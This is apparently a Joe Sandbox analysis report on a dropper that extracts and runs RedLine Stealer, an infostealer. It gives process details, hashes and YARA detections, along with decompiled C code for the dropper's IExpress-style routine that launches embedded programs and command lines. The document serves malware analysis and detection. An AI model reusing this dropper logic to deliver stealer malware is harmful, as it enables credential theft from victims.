00000001.00000003.257010194.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.322292427.0000000002E68000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 64%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4184, Parent PID: 3452

General

Target ID:	2
Start time:	09:30:24
Start date:	27/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff759b10000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: uPD30tM82.exePID: 5176, Parent PID: 6056

General

Target ID:	14
Start time:	09:30:54
Start date:	27/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe
Imagebase:	0x2b0000
File size:	179317 bytes
MD5 hash:	763CFA2A099AC8748401DF32FF369ACE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000000.337013680.00000000002B2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 77%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: W7ANVukbbj.exePID: 6056, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.3%
Total number of Nodes:	967
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00863BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00863BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x868004; // 0xb82e2007
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x869124 =  *0x869124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x868a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x868c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E0086468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E008644B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x869124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00861AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00866CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00863FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x868580;
													if( *0x868580 != 0) {
														E00862267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x868180;
											if( *0x868180 == 0) {
												_t146 = 0x4c7;
												E008644B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x869124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x869a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00866495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E008644B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x869124 = E00866285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E008644B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x868a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x869a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x868a38 & 0x0000ffff;
											_v380 = 0x869154;
											_v376 = _t151;
											_v372 = 0x8691e4;
											_v360 = _t97;
											if( *0x868a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x869a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x868d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x869a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x86a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x869124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x869a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x868a20;
										if( *0x868a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E0086202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E0086468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x868c42;
									if( *0x868c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x868a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E0086468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E0086468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00861781( &_v276, 0x104, _t130, 0x868c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E0086468F(_t130, 0x869a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00863baa
0x00863bb0
0x00863bb7
0x00863bc0
0x00863bc2
0x00863bc9
0x00863bcb
0x00863bcf
0x00863bd3
0x00863bd9
0x00863bfd
0x00863bfd
0x00863bff
0x00863c03
0x00863c03
0x00863c11
0x00863c16
0x00863c19
0x00863c28
0x00000000
0x00000000
0x00863c30
0x00863c39
0x00863c40
0x00863d13
0x00863d15
0x00863d21
0x00863d26
0x00000000
0x00863c4f
0x00863c56
0x00863c60
0x00863c65
0x00863c77
0x00863c78
0x00863c7c
0x00863c7e
0x00863c82
0x00863c82
0x00000000
0x00863c7c
0x00863c67
0x00863c69
0x00863c6d
0x00000000
0x00863c58
0x00863c58
0x00863c6e
0x00863c6e
0x00863c87
0x00863c89
0x00863d4d
0x00863d4f
0x00863d50
0x00863d52
0x00863d9e
0x00863da8
0x00863daf
0x00863db4
0x00863db6
0x00863f4d
0x00863f4d
0x00863f4f
0x00863f56
0x00863f57
0x00863f58
0x00863f63
0x00863f63
0x00863dbc
0x00863dc0
0x00863dc2
0x00863de6
0x00863de6
0x00863de8
0x00863f0b
0x00863f0b
0x00863f0f
0x00863f13
0x00863f15
0x00863f1a
0x00863f1c
0x00863f46
0x00863f47
0x00000000
0x00863f47
0x00863f1e
0x00863f1f
0x00863f25
0x00863f26
0x00863f2a
0x00863f2d
0x00863fd9
0x00863fd9
0x00863fda
0x00863fda
0x00863fe1
0x00863fe3
0x00863fe3
0x00863fe8
0x00000000
0x00863fe8
0x00863f33
0x00863f37
0x00000000
0x00863f37
0x00863dee
0x00863dee
0x00863df5
0x00863fad
0x00863fb9
0x00863fc2
0x00863fc8
0x00000000
0x00863fc8
0x00863dfb
0x00863dfd
0x00000000
0x00000000
0x00863e03
0x00863e0a
0x00000000
0x00000000
0x00863e15
0x00863e17
0x00863e19
0x00863f94
0x00863fa4
0x00863f7c
0x00863f80
0x00863f8b
0x00000000
0x00863f8b
0x00863e2c
0x00863e30
0x00863e34
0x00863e36
0x00863f69
0x00863f6e
0x00863f70
0x00863f76
0x00000000
0x00863f76
0x00863e3c
0x00863e43
0x00863e47
0x00863e52
0x00863e56
0x00863e5c
0x00863e61
0x00863e68
0x00863e70
0x00863e74
0x00863e7c
0x00863e80
0x00863e82
0x00863e82
0x00863e87
0x00863e87
0x00863e8b
0x00863e91
0x00863e94
0x00863e96
0x00863e96
0x00863e9b
0x00863e9b
0x00863e9f
0x00863ea2
0x00863ea4
0x00863ea4
0x00863ea9
0x00863ea9
0x00863ead
0x00863eb3
0x00863eb6
0x00863eb8
0x00863eb8
0x00863ebd
0x00863ebd
0x00863ec1
0x00863ec3
0x00863ec5
0x00863ec5
0x00863eca
0x00863eca
0x00863ece
0x00863ed5
0x00863ed9
0x00863ee0
0x00863ee6
0x00863eea
0x00863eec
0x00863eee
0x00863ef3
0x00863ef3
0x00863ef5
0x00863efa
0x00863efb
0x00863efd
0x00863f40
0x00000000
0x00863eff
0x00863eff
0x00863f05
0x00000000
0x00863f05
0x00863efd
0x00863dc7
0x00863dce
0x00000000
0x00000000
0x00863dd0
0x00863dd7
0x00000000
0x00000000
0x00863dd9
0x00863ddb
0x00000000
0x00000000
0x00863ddd
0x00863de1
0x00000000
0x00863de1
0x00863d59
0x00863d65
0x00863d6a
0x00863d6c
0x00000000
0x00000000
0x00863d6e
0x00863d75
0x00000000
0x00000000
0x00863d8f
0x00863d96
0x00863d98
0x00000000
0x00000000
0x00000000
0x00863d98
0x00863c8f
0x00863c98
0x00863cf1
0x00863cf3
0x00000000
0x00000000
0x00863cfe
0x00863d11
0x00000000
0x00000000
0x00000000
0x00863d11
0x00863c9c
0x00863ca5
0x00863ca7
0x00000000
0x00000000
0x00863cad
0x00863cb2
0x00863cb7
0x00863cc5
0x00000000
0x00000000
0x00863ce8
0x00863cec
0x00863ced
0x00863ced
0x00000000
0x00863ce8
0x00863c9e
0x00000000
0x00863c9e
0x00863c56
0x00863d35
0x00863d35
0x00863d3c
0x00863d48
0x00000000
0x00863d48
0x00863c03
0x00863be2
0x00863be7
0x00863bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00863C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00863CDC

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00868C42), ref: 00863D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00863E26
FreeLibrary.KERNEL32(00000000,?,00868C42), ref: 00863EFF
LocalFree.KERNEL32(?,?,?,?,00868C42), ref: 00863F1F
FreeLibrary.KERNEL32(00000000,?,00868C42), ref: 00863F40
LocalFree.KERNEL32(?,?,?,?,00868C42), ref: 00863F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00868C42), ref: 00863F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00868C42), ref: 00863F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00868C42), ref: 00863FC2

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00863E74
SHOWWINDOW, xrefs: 00863C34
herso, xrefs: 00863E68
RUNPROGRAM, xrefs: 00863D05
<None>, xrefs: 00863CC9, 00863D7D
ADMQCMD, xrefs: 00863C9E
advpack.dll, xrefs: 00863F9D
USRQCMD, xrefs: 00863CAD
POSTRUNPROGRAM, xrefs: 00863D60
DoInfInstall, xrefs: 00863E1F, 00863E24, 00863F68
REBOOT, xrefs: 00863BE2
D, xrefs: 00863C19

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$herso
API String ID: 1032054927-1713645849
Opcode ID: bf7410f108ad1079c40bed06c79c6cacefe19665576380e4cbc97e072c123271
Instruction ID: 5973996fd7dbd8b16f0855937ebcec10fac5873edf527ea4f6c19d80c9cc76f0
Opcode Fuzzy Hash: bf7410f108ad1079c40bed06c79c6cacefe19665576380e4cbc97e072c123271
Instruction Fuzzy Hash: 80B1F270908301DBD720DF68D845B6B76E8FB85700F131A2DFA95E62D1EBB5CA44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00861AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00861AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x868004; // 0xb82e2007
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00861680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00861A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00861781( &_v268, 0x104, _t111, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					E0086658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00861680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E008666C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E008666C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00861680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00861781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E008616B3( &_v1552, 0x400, " ");
										E008616B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00862AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E0086171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00861A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00861A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E008644B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x869120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x861140, _t156, 8,  &_v268) == 0) {
										 *0x869a34 =  *0x869a34 & 0xfffffffb;
										if( *0x869a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E0086171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x869a34 =  *0x869a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00861680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00861680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00866CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00861af3
0x00861afa
0x00861b07
0x00861b09
0x00861b1a
0x00861b20
0x00861b2c
0x00861b3b
0x00861b40
0x00861b2e
0x00861b2e
0x00861b33
0x00861b33
0x00861b46
0x00861b4c
0x00861b52
0x00861b57
0x00861b5d
0x00861b61
0x00861b9f
0x00861b9f
0x00861bb1
0x00861bc2
0x00000000
0x00861b63
0x00861b63
0x00861b65
0x00861b68
0x00861b68
0x00861b6a
0x00861b6b
0x00861b6f
0x00861b74
0x00000000
0x00000000
0x00861b76
0x00861b7b
0x00861b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00861b8c
0x00861b8c
0x00861b98
0x00861bc7
0x00861bc9
0x00861bcc
0x00861bd3
0x00861d75
0x00861d76
0x00861d78
0x00861d7f
0x00861e05
0x00861e09
0x00000000
0x00000000
0x00861e12
0x00861e1b
0x00861e73
0x00861e21
0x00861e21
0x00861e28
0x00861e37
0x00861e3e
0x00861e52
0x00861e60
0x00861e60
0x00861e3e
0x00861e79
0x00861e7b
0x00861e84
0x00000000
0x00861d9b
0x00861d9b
0x00861da0
0x00861da2
0x00861da5
0x00861da5
0x00861da7
0x00861da8
0x00861dac
0x00861dae
0x00861db4
0x00861db7
0x00861db7
0x00861db9
0x00861dba
0x00861dbe
0x00861dc3
0x00861dce
0x00861dd2
0x00861deb
0x00000000
0x00861df0
0x00000000
0x00861dd2
0x00861bf7
0x00861bfe
0x00861c07
0x00861d55
0x00861d5a
0x00861d5b
0x00861d5d
0x00861d5e
0x00000000
0x00861c1b
0x00861c1b
0x00861c20
0x00861c2c
0x00861c33
0x00861c38
0x00861c3a
0x00861c3a
0x00861c40
0x00861c4b
0x00861c4b
0x00861c5d
0x00861c61
0x00861dd4
0x00861dd4
0x00861dd6
0x00861ddb
0x00861ddc
0x00861dde
0x00861d64
0x00861d64
0x00861d67
0x00861d6c
0x00000000
0x00861c67
0x00861c67
0x00861c6d
0x00861c72
0x00861c74
0x00861c74
0x00861c8e
0x00861c99
0x00861cc0
0x00861cf8
0x00861d07
0x00861d23
0x00861d09
0x00861d14
0x00861d1b
0x00861d1b
0x00861d2b
0x00861d2d
0x00861d2d
0x00861d38
0x00861d39
0x00861d46
0x00861cc2
0x00861cc2
0x00861ccc
0x00861cce
0x00861cce
0x00861cdb
0x00861ce6
0x00861cee
0x00861cee
0x00861e89
0x00861e91
0x00861e92
0x00861e94
0x00861e97
0x00861ea4
0x00861ea4
0x00861c61
0x00861c07
0x00861bd3
0x00861b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00861BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00861BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00861C57
GetPrivateProfileIntA.KERNEL32 ref: 00861C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00861140,00000000,00000008,?), ref: 00861CB8
GetShortPathNameA.KERNEL32 ref: 00861D1B

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Strings

Version, xrefs: 00861CB3
setupx.dll, xrefs: 00861D14
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00861BA0
Reboot, xrefs: 00861C82
AdvancedINF, xrefs: 00861CAE
setupapi.dll, xrefs: 00861D23, 00861D3A
", xrefs: 00861B25
Command.com /c %s, xrefs: 00861D9B, 00861DE8
.INF, xrefs: 00861BDB
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00861D3B
.BAT, xrefs: 00861D83
DefaultInstall, xrefs: 00861C74, 00861C87, 00861CCE, 00861CD3, 00861D2D, 00861D39

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
